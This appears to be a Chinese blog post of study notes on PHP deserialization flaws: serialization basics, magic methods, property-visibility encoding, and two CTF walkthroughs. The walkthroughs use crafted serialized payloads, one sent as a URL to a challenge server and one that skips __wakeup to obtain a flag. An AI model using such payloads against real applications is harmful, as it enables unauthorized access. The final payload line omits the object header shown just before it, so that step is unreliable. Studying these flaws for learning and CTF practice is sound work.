php反序列化学习


PHP反序列化漏洞学习(一)

概念

serialize()

  • serialize() 函数用于序列化对象或数组,并返回一个字符串。

  • serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

测试代码如下:

<?php
class Test{
    var $flag = '123';
}

$test1 = new Test;
$test1_ser = serialize($test1);
print_r($test1_ser);

?>

运行结果:

O:4:"Test":1:{s:4:"flag";s:3:"123";}

此处的O代表存储的是对象(object)。4表示对象的名称有4个字符。"Test"表示对象的名称。1表示有一个值。s表示字符串,4表示字符串长度,"flag"表示定义的变量名称。123表示变量的值。

unserialize()

  • unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

测试代码:

<?php
class Test{
    var $flag = '123';
}

$test1 = new Test;
$test1_ser = serialize($test1);
print_r($test1_ser);

echo "\n";

$test2 = $test1_ser;
$test2_unser = unserialize($test2);
print_r($test2_unser); 

?>

结果:

O:4:"Test":1:{s:4:"flag";s:3:"123";}
Test Object
(
    [flag] => 123
)

当使用unserialize()函数时,将会调用__wakeup()成员函数

反序列化漏洞

因为传入unserialize()函数的参数可控,我们可以通过传入恶意构造的字符串,从而控制对象内部的函数或者变量。

魔法函数

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

常见的方法:

  • __construct():创建对象时自动调用
  • __destruct():对象被销毁时自动调用
  • __wakeup():unserialize()时自动调用
  • __call():在对象上下文中调用不可访问的方法时触发
  • __sleep():对象被序列化之前触发
  • __toString():把类当作字符串使用时触发,返回值需要为字符串

我们举个例子看看魔法函数在序列化和反序列化过程中如何调用的:

<?php

class Test{
    function __construct(){
        echo "__construct";
        echo "\n";
    }

    function __sleep(){
        echo "__sleep";
        echo "\n";
    }

    function __destruct(){
        echo "__destruct";
        echo "\n";
    }
}

$test1 = new Test;
$test1_ser = serialize($test1);
$test1_unser = unserialize($test1_ser);
print_r($test1_unser);  

?>

结果如下:

__construct
__sleep
__destruct

属性权限

类中的属性有三个权限:

  • Public权限
  • Private权限
  • Protected权限

这三种权限的属性经过序列化后的字符长度不一样,字符的变化不同

  1. public权限

    imageiamge

    可以看到字符串长度没变,字符前后也没有变化

  2. private权限

    image

    发现字符串长度变成了10,而且字符串也变成%00类名%00属性名的形式

  3. protected权限

    iamge

    发现字符串长度变成了7,而且字符串变成%00*%00属性名的形式

例子

ez_unserialize

<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);

我们构造payload:

http://120.79.33.253:9001/?str=s:7:%22D0g3!!!%22 即可得到flag

[极客大挑战 2019]PHP

打开网站后提示备份,用dirsearch扫出来一个www.zip

下载后打开index.php发现一段代码:

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

再看class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

所以我们要让password=100,且username=admin,并用序列化传进去即可得到flag

构造一下:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但我们还需要绕过__wakeup() 和 __destruct()

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

所以构造出:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

不过变量是private型,该类私有字段的字段名在序列化时,类名和字段名前面都会加上\0

最后构造:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

payload:

select={s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}


文章作者: Doublenine
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Doublenine !
 上一篇
SQL注入学习 SQL注入学习
SQL注入学习对sql注入的知识和技巧进行记录 概念Sql注入攻击是通过将恶意的Sql查询或添加语句插入到对应的输入参数中,再在后台Sql服务器上解析执行执行的攻击。 分类整数型注入参数是int类型的,后端调用时一般没加单引号如:sele
下一篇 
STM8单片机 STM8单片机
STM8单片机笔记[Toc] 单片机的概念 1.单片机是微型计算机的分支,是在一块芯片上集成了CPU、内存(RAM)、程序储存器(ROM)、输入输出接口的微型计算机。 早期的单片机为8位或4位,随着工业控制的要求提高,出现了16位的单
2020-05-05 Doublenine
  目录